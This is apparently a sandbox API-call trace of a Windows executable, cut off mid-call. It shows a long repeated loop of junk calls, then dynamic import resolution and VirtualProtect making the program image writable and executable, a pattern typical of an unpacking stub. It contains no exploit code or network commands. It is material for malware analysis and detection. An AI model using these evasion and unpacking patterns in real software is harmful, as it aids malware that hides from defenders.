0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.673] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.673] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.673] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.674] AddAtomA (lpString=0x0) returned 0x0 [0049.674] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.674] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.675] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.675] AddAtomA (lpString=0x0) returned 0x0 [0049.675] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.676] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.676] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.676] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.677] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.677] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.677] AddAtomA (lpString=0x0) returned 0x0 [0049.678] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.678] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.678] AddAtomA (lpString=0x0) returned 0x0 [0049.678] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.678] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.678] AddAtomA (lpString=0x0) returned 0x0 [0049.678] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.678] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.697] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.697] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0049.697] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0049.697] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0049.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0049.697] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.698] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.698] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0049.698] SetErrorMode (uMode=0x400) returned 0x0 [0049.698] SetErrorMode (uMode=0x0) returned 0x400 [0049.698] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.698] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0049.700] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0049.837] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.837] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0049.838] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.839] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0049.840] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0049.841] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0049.848] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0049.848] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0049.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0049.849] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0049.849] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0049.849] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0049.849] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0049.849] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.849] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0049.849] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0049.850] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0049.851] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0049.851] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0049.851] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0049.852] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74810000 [0049.855] GetProcAddress (hModule=0x74810000, lpProcName="InitCommonControlsEx") returned 0x748309ce [0049.855] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74ae0000 [0049.856] GetProcAddress (hModule=0x74ae0000, lpProcName="timeGetTime") returned 0x74ae26e0 [0049.856] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0049.859] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0049.859] atexit (param_1=0x5b63c8) returned 0 [0049.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0xe990b10, dwHighDateTime=0x1d53559)) [0049.859] GetCurrentThreadId () returned 0x5cc [0049.859] GetCurrentProcessId () returned 0x7b4 [0049.859] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=17012278956) returned 1 [0049.859] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.859] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.859] GetLastError () returned 0x57 [0049.859] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.859] GetLastError () returned 0x57 [0049.860] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0049.860] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.860] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.860] GetLastError () returned 0x57 [0049.860] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.860] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.860] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.860] GetLastError () returned 0x57 [0049.860] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.860] GetLastError () returned 0x57 [0049.860] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0049.860] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.860] GetProcessHeap () returned 0x5a0000 [0049.860] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.861] GetLastError () returned 0x57 [0049.861] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.861] GetLastError () returned 0x57 [0049.861] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.861] GetProcAddress 